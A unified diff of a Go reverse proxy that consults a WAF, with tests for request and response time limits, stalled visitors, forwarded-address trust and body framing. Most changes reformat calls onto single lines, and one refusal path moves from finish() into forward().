if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
|
||||||
t.Errorf(
|
t.Errorf("report %+v, want status 200 and the answer cut off", report)
|
||||||
"report %+v, want status 200 and the answer cut off",
|
|
||||||
report,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -981,9 +801,7 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(
|
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
@@ -1067,9 +885,7 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
|
|||||||
wantGreeting(t, readAnswer(t, conn))
|
wantGreeting(t, readAnswer(t, conn))
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
|
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const limit = 2 * time.Second
|
const limit = 2 * time.Second
|
||||||
@@ -1093,11 +909,7 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if closed := time.Since(start); closed < limit {
|
if closed := time.Since(start); closed < limit {
|
||||||
t.Errorf(
|
t.Errorf("the connection closed after %s, want %s at least", closed, limit)
|
||||||
"the connection closed after %s, want %s at least",
|
|
||||||
closed,
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1106,59 +918,38 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
|
|||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// rproxy passes on a part sent at once well within this limit, even on a busy
|
const limit = 300 * time.Millisecond
|
||||||
// host.
|
|
||||||
const limit = 2 * time.Second
|
|
||||||
|
|
||||||
// The app sends the parts in atOnce with its status and headers. It sends the
|
|
||||||
// parts in late only once rproxy has ended the request to it, which rproxy
|
|
||||||
// does when it cuts off the answer, so that those never reach the visitor.
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
atOnce, late []string
|
|
||||||
}{
|
|
||||||
{"with the body in one part", nil, []string{greeting}},
|
|
||||||
{"with the body in two parts", []string{greeting[:5]}, []string{greeting[5:]}},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
|
headersRead := make(chan struct{})
|
||||||
|
// letAppSendBody also runs when the test ends, as the app's server waits for
|
||||||
|
// the app.
|
||||||
|
letAppSendBody := sync.OnceFunc(func() { close(headersRead) })
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
|
// The app sends its body once the visitor has the status and headers and the
|
||||||
|
// response time limit has run out since, so that rproxy cannot send it.
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||||
rc := http.NewResponseController(w)
|
rc := http.NewResponseController(w)
|
||||||
_ = rc.EnableFullDuplex()
|
_ = rc.EnableFullDuplex()
|
||||||
|
|
||||||
w.Header().
|
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
||||||
Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
|
||||||
|
|
||||||
for _, part := range tc.atOnce {
|
|
||||||
_, _ = io.WriteString(w, part)
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = rc.Flush()
|
_ = rc.Flush()
|
||||||
|
|
||||||
// The request's body ends when rproxy ends the request to the app.
|
<-headersRead
|
||||||
|
time.Sleep(limit)
|
||||||
|
|
||||||
|
_, _ = io.WriteString(w, greeting)
|
||||||
|
_ = rc.Flush()
|
||||||
_, _ = io.Copy(io.Discard, r.Body)
|
_, _ = io.Copy(io.Discard, r.Body)
|
||||||
|
|
||||||
for _, part := range tc.late {
|
|
||||||
_, _ = io.WriteString(w, part)
|
|
||||||
_ = rc.Flush()
|
|
||||||
}
|
|
||||||
})
|
})
|
||||||
|
|
||||||
|
t.Cleanup(letAppSendBody)
|
||||||
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
// The request time limit is far longer than dial's deadline.
|
||||||
addr, _ := startRProxy(
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
maxRequestTime: "120000",
|
maxRequestTime: "120000",
|
||||||
maxResponseTime: strconv.FormatInt(
|
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||||
limit.Milliseconds(),
|
})
|
||||||
10,
|
|
||||||
),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
sendAllButALittle(t, conn)
|
sendAllButALittle(t, conn)
|
||||||
@@ -1168,21 +959,14 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
|
|||||||
t.Fatalf("read the answer: %v", err)
|
t.Fatalf("read the answer: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// If the connection stays open, dial's deadline ends this read with a
|
letAppSendBody()
|
||||||
// timeout.
|
|
||||||
|
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||||
body, err := io.ReadAll(res.Body)
|
body, err := io.ReadAll(res.Body)
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
want := strings.Join(tc.atOnce, "")
|
if len(body) != 0 || !errors.Is(err, io.ErrUnexpectedEOF) {
|
||||||
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
|
t.Errorf("read %q (%v), want the connection closed", body, err)
|
||||||
t.Errorf(
|
|
||||||
"read %q (%v), want %q and the connection closed",
|
|
||||||
body,
|
|
||||||
err,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1218,11 +1002,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
|
||||||
"read %q (%v), want the connection closed without an answer",
|
|
||||||
text,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if line := out.requestLine(t); line["status"] != 0.0 {
|
if line := out.requestLine(t); line["status"] != 0.0 {
|
||||||
@@ -1230,9 +1010,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
|
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const answer = "the end of a long answer"
|
const answer = "the end of a long answer"
|
||||||
@@ -1250,28 +1028,13 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
|
|||||||
maxRequestTime: "2000",
|
maxRequestTime: "2000",
|
||||||
})
|
})
|
||||||
|
|
||||||
got := visit(
|
got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
|
||||||
t,
|
|
||||||
newRequest(
|
|
||||||
t,
|
|
||||||
http.MethodPost,
|
|
||||||
addr,
|
|
||||||
"/",
|
|
||||||
strings.NewReader("a body"),
|
|
||||||
),
|
|
||||||
)
|
|
||||||
if got.status != http.StatusOK || got.body != answer {
|
if got.status != http.StatusOK || got.body != answer {
|
||||||
t.Errorf(
|
t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
|
||||||
"answered %d %q, want the app's whole answer",
|
|
||||||
got.status,
|
|
||||||
got.body,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
|
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -1292,15 +1055,10 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
|
|||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
// The request time limit is longer than the 10 seconds an answer rproxy
|
// The request time limit is longer than the 10 seconds an answer rproxy
|
||||||
// gives itself has to be sent, and than dial's deadline.
|
// gives itself has to be sent, and than dial's deadline.
|
||||||
addr, _ := startRProxy(
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
maxRequestTime: "15000",
|
maxRequestTime: "15000",
|
||||||
maxResponseTime: "300",
|
maxResponseTime: "300",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
// The body stops 100 bytes short, less than Go's server reads of a body
|
// The body stops 100 bytes short, less than Go's server reads of a body
|
||||||
// left unread before it answers.
|
// left unread before it answers.
|
||||||
|
|||||||
@@ -54,12 +54,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if asked.method != http.MethodDelete || asked.target != target ||
|
if asked.method != http.MethodDelete || asked.target != target ||
|
||||||
asked.host != site {
|
asked.host != site {
|
||||||
t.Errorf(
|
t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
|
||||||
"asked about %s %s at %s",
|
|
||||||
asked.method,
|
|
||||||
asked.target,
|
|
||||||
asked.host,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked.header.Get(requestIDHeader) == "the-visitor's" {
|
if asked.header.Get(requestIDHeader) == "the-visitor's" {
|
||||||
@@ -77,11 +72,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
want.Set(waf.PeerHeader, localhost)
|
want.Set(waf.PeerHeader, localhost)
|
||||||
|
|
||||||
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
||||||
t.Errorf(
|
t.Errorf("the question's headers are %v, want %v", asked.header, want)
|
||||||
"the question's headers are %v, want %v",
|
|
||||||
asked.header,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -109,14 +100,9 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
|
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
trustedProxies: tc.trusted,
|
trustedProxies: tc.trusted,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header.Set(forwardedForHeader, visitor)
|
req.Header.Set(forwardedForHeader, visitor)
|
||||||
@@ -136,12 +122,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
|
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
|
||||||
t.Errorf(
|
t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
|
||||||
"the app saw %s %q, want %q",
|
|
||||||
forwardedForHeader,
|
|
||||||
got,
|
|
||||||
tc.forwarded,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -178,14 +159,9 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
trustedProxies: localhost + "/32,10.0.0.0/8",
|
trustedProxies: localhost + "/32,10.0.0.0/8",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header[forwardedForHeader] = tc.header
|
req.Header[forwardedForHeader] = tc.header
|
||||||
@@ -224,24 +200,15 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
|||||||
body := randomBytes(size)
|
body := randomBytes(size)
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
received := make(chan []byte, 1)
|
received := make(chan []byte, 1)
|
||||||
app := startApp(
|
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||||
t,
|
|
||||||
func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
whole, _ := io.ReadAll(r.Body)
|
whole, _ := io.ReadAll(r.Body)
|
||||||
received <- whole
|
received <- whole
|
||||||
|
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
},
|
})
|
||||||
)
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := newRequest(
|
req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
|
||||||
t,
|
|
||||||
http.MethodPost,
|
|
||||||
addr,
|
|
||||||
"/",
|
|
||||||
bytes.NewReader(body),
|
|
||||||
)
|
|
||||||
if !announced {
|
if !announced {
|
||||||
// Go's client sends a body of unknown length in chunks.
|
// Go's client sends a body of unknown length in chunks.
|
||||||
req.ContentLength = -1
|
req.ContentLength = -1
|
||||||
@@ -257,9 +224,7 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
|||||||
t.Error("the app did not get the whole body")
|
t.Error("the app did not get the whole body")
|
||||||
}
|
}
|
||||||
|
|
||||||
if report := standIn.report(t); report.RequestBytes != int64(
|
if report := standIn.report(t); report.RequestBytes != int64(size) {
|
||||||
size,
|
|
||||||
) {
|
|
||||||
t.Errorf("report %+v, of %d bytes", report, size)
|
t.Errorf("report %+v, of %d bytes", report, size)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -275,11 +240,8 @@ func wantQuestionBody(
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if !bytes.Equal(asked.body, want) {
|
if !bytes.Equal(asked.body, want) {
|
||||||
t.Errorf(
|
t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
|
||||||
"the question carries %d bytes, want the first %d",
|
len(want))
|
||||||
len(asked.body),
|
|
||||||
len(want),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
values := asked.header.Values(waf.ContentLengthHeader)
|
values := asked.header.Values(waf.ContentLengthHeader)
|
||||||
@@ -294,13 +256,9 @@ func wantQuestionBody(
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(values) != 0 ||
|
if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
|
||||||
!slices.Equal(asked.transferEncoding, []string{chunked}) {
|
t.Errorf("announced %v and encoded %v, want none and chunked", values,
|
||||||
t.Errorf(
|
asked.transferEncoding)
|
||||||
"announced %v and encoded %v, want none and chunked",
|
|
||||||
values,
|
|
||||||
asked.transferEncoding,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -353,11 +311,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(
|
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
|
||||||
t,
|
|
||||||
conn,
|
|
||||||
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
|
|
||||||
)
|
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||||
t.Errorf("status %d, want waf's 403", status)
|
t.Errorf("status %d, want waf's 403", status)
|
||||||
@@ -366,13 +320,8 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if string(asked.body) != tc.body ||
|
if string(asked.body) != tc.body ||
|
||||||
!slices.Equal(asked.transferEncoding, tc.encoding) {
|
!slices.Equal(asked.transferEncoding, tc.encoding) {
|
||||||
t.Errorf(
|
t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
|
||||||
"the question carries %q, encoded %v, want %q, encoded %v",
|
asked.body, asked.transferEncoding, tc.body, tc.encoding)
|
||||||
asked.body,
|
|
||||||
asked.transferEncoding,
|
|
||||||
tc.body,
|
|
||||||
tc.encoding,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -394,15 +343,10 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
|
|
||||||
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusMethodNotAllowed ||
|
if got.status != http.StatusMethodNotAllowed ||
|
||||||
got.header.Get(
|
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
||||||
"Allow",
|
|
||||||
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
|
||||||
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
||||||
"MKCALENDAR" {
|
"MKCALENDAR" {
|
||||||
t.Errorf(
|
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
||||||
"answered %+v, want 405 naming the methods passed on",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
@@ -539,12 +483,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
|
|||||||
|
|
||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if got := asked.header.Get(forwardedProtoHeader); got != want {
|
if got := asked.header.Get(forwardedProtoHeader); got != want {
|
||||||
t.Errorf(
|
t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
|
||||||
"the question's %s is %q, want %s",
|
|
||||||
forwardedProtoHeader,
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -565,21 +504,11 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
_, out, server := startServer(
|
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
trustedProxies: localhost + "/32",
|
trustedProxies: localhost + "/32",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||||
t.Context(),
|
|
||||||
http.MethodGet,
|
|
||||||
"/",
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
req.RemoteAddr = tc.remoteAddr
|
req.RemoteAddr = tc.remoteAddr
|
||||||
req.Header.Set(forwardedForHeader, tc.forwardedFor)
|
req.Header.Set(forwardedForHeader, tc.forwardedFor)
|
||||||
|
|
||||||
|
|||||||
+35
-87
@@ -96,10 +96,7 @@ type request struct {
|
|||||||
|
|
||||||
// newRequest starts handling r: it notes the time, works out the visitor from
|
// newRequest starts handling r: it notes the time, works out the visitor from
|
||||||
// the TCP peer and X-Forwarded-For, and makes the request's id.
|
// the TCP peer and X-Forwarded-For, and makes the request's id.
|
||||||
func (h *handler) newRequest(
|
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
|
||||||
w http.ResponseWriter,
|
|
||||||
r *http.Request,
|
|
||||||
) *request {
|
|
||||||
peer := peerAddress(r)
|
peer := peerAddress(r)
|
||||||
trusted := h.config.TrustedProxies
|
trusted := h.config.TrustedProxies
|
||||||
|
|
||||||
@@ -109,21 +106,14 @@ func (h *handler) newRequest(
|
|||||||
rc: http.NewResponseController(w),
|
rc: http.NewResponseController(w),
|
||||||
out: &responseWriter{ResponseWriter: w},
|
out: &responseWriter{ResponseWriter: w},
|
||||||
id: rand.Text(),
|
id: rand.Text(),
|
||||||
client: clientAddress(
|
client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
|
||||||
peer,
|
|
||||||
r.Header.Values("X-Forwarded-For"),
|
|
||||||
trusted,
|
|
||||||
),
|
|
||||||
peer: peer,
|
peer: peer,
|
||||||
peerTrusted: isInside(peer, trusted),
|
peerTrusted: isInside(peer, trusted),
|
||||||
start: time.Now(),
|
start: time.Now(),
|
||||||
}
|
}
|
||||||
|
|
||||||
if r.Body != http.NoBody {
|
if r.Body != http.NoBody {
|
||||||
rq.body = &requestBody{
|
rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
|
||||||
body: limitBody(r.Body, h.config.MaxRequestSize),
|
|
||||||
rq: rq,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return rq
|
return rq
|
||||||
@@ -148,9 +138,7 @@ func (rq *request) readFirstPartOfBody() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
||||||
held, err := io.ReadAll(
|
held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
|
||||||
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
|
|
||||||
)
|
|
||||||
// From here on, the request timer ends a read of the rest of the body, so that
|
// From here on, the request timer ends a read of the rest of the body, so that
|
||||||
// the answer can name the side rproxy was waiting on.
|
// the answer can name the side rproxy was waiting on.
|
||||||
_ = rq.rc.SetReadDeadline(time.Time{})
|
_ = rq.rc.SetReadDeadline(time.Time{})
|
||||||
@@ -207,6 +195,20 @@ func (rq *request) forward(ctx context.Context) {
|
|||||||
rq.startRequestTimer()
|
rq.startRequestTimer()
|
||||||
rq.upstreamStart = time.Now()
|
rq.upstreamStart = time.Now()
|
||||||
reverseProxy.ServeHTTP(rq.out, out)
|
reverseProxy.ServeHTTP(rq.out, out)
|
||||||
|
|
||||||
|
// ReverseProxy ignores a failed flush, so it misses a short answer cut off when
|
||||||
|
// SWRP_MAX_RESPONSE_TIME_MS runs out; once a flush has failed, every later one
|
||||||
|
// fails too. Go's server would then keep the connection open while it reads
|
||||||
|
// the rest of a body that has not arrived whole. So that reading ends now, and
|
||||||
|
// the refusal keeps finish from extending it to SWRP_MAX_REQUEST_TIME_MS. The
|
||||||
|
// panic has Go's server close the connection, and log nothing; the deferred
|
||||||
|
// finish still runs.
|
||||||
|
if rq.out.status != http.StatusSwitchingProtocols &&
|
||||||
|
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded) {
|
||||||
|
rq.refuse(http.StatusGatewayTimeout)
|
||||||
|
rq.stopPassingOnBody(time.Now())
|
||||||
|
panic(http.ErrAbortHandler)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
||||||
@@ -269,8 +271,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxBytes := rq.h.config.MaxResponseSize
|
maxBytes := rq.h.config.MaxResponseSize
|
||||||
if maxBytes > 0 && res.Body != http.NoBody &&
|
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
|
||||||
res.ContentLength > maxBytes {
|
|
||||||
rq.refuse(http.StatusBadGateway)
|
rq.refuse(http.StatusBadGateway)
|
||||||
|
|
||||||
return errResponseTooLarge
|
return errResponseTooLarge
|
||||||
@@ -285,10 +286,6 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
|
|
||||||
rq.closeAfterAnswer()
|
rq.closeAfterAnswer()
|
||||||
|
|
||||||
// An answer that arrives before the app has been sent the whole request ends
|
|
||||||
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
|
|
||||||
rq.startResponseTimer(requestEnd)
|
|
||||||
|
|
||||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||||
rq.out.afterStatus = rq.setResponseDeadline
|
rq.out.afterStatus = rq.setResponseDeadline
|
||||||
|
|
||||||
@@ -297,11 +294,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
|
|
||||||
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
|
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
|
||||||
// the app, or the app's answer cannot be passed on.
|
// the app, or the app's answer cannot be passed on.
|
||||||
func (rq *request) answerError(
|
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
|
||||||
_ http.ResponseWriter,
|
|
||||||
_ *http.Request,
|
|
||||||
err error,
|
|
||||||
) {
|
|
||||||
if rq.upgraded != nil {
|
if rq.upgraded != nil {
|
||||||
// The app switched protocols, but the switch was not passed on, and
|
// The app switched protocols, but the switch was not passed on, and
|
||||||
// ReverseProxy leaves the app's connection open when it refuses it.
|
// ReverseProxy leaves the app's connection open when it refuses it.
|
||||||
@@ -317,11 +310,7 @@ func (rq *request) answerError(
|
|||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.processLog.Warn(
|
rq.h.processLog.Warn("request to the app failed", "error", err.Error())
|
||||||
"request to the app failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
|
|
||||||
status = http.StatusBadGateway
|
status = http.StatusBadGateway
|
||||||
}
|
}
|
||||||
@@ -409,22 +398,7 @@ func (rq *request) refuse(status int) {
|
|||||||
func (rq *request) finish(ctx context.Context) {
|
func (rq *request) finish(ctx context.Context) {
|
||||||
rq.stopTimers()
|
rq.stopTimers()
|
||||||
|
|
||||||
// After a cut-off answer, the reading of a body that has not arrived whole
|
if rq.refused.Load() == 0 {
|
||||||
// ends now. Go's server would otherwise keep the connection open while it
|
|
||||||
// reads the rest. modifyResponse sets afterStatus only when it passes the
|
|
||||||
// app's answer on. Any refusal after that has cut the answer off, since a
|
|
||||||
// refusal ends the request to the app. Any answer is cut off when the time to
|
|
||||||
// send it runs out: a flush then fails, and every flush after a failed one
|
|
||||||
// fails too. ReverseProxy ignores the failure, but panics if it was still
|
|
||||||
// waiting for more of the app's answer; finish runs either way. Before a
|
|
||||||
// status, a flush would send a 200; after a 101, ReverseProxy has taken over
|
|
||||||
// the connection.
|
|
||||||
switch {
|
|
||||||
case rq.out.afterStatus != nil && rq.refused.Load() != 0,
|
|
||||||
rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
|
|
||||||
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
|
|
||||||
rq.stopPassingOnBody(time.Now())
|
|
||||||
case rq.refused.Load() == 0:
|
|
||||||
rq.stopPassingOnBody(rq.requestDeadline())
|
rq.stopPassingOnBody(rq.requestDeadline())
|
||||||
}
|
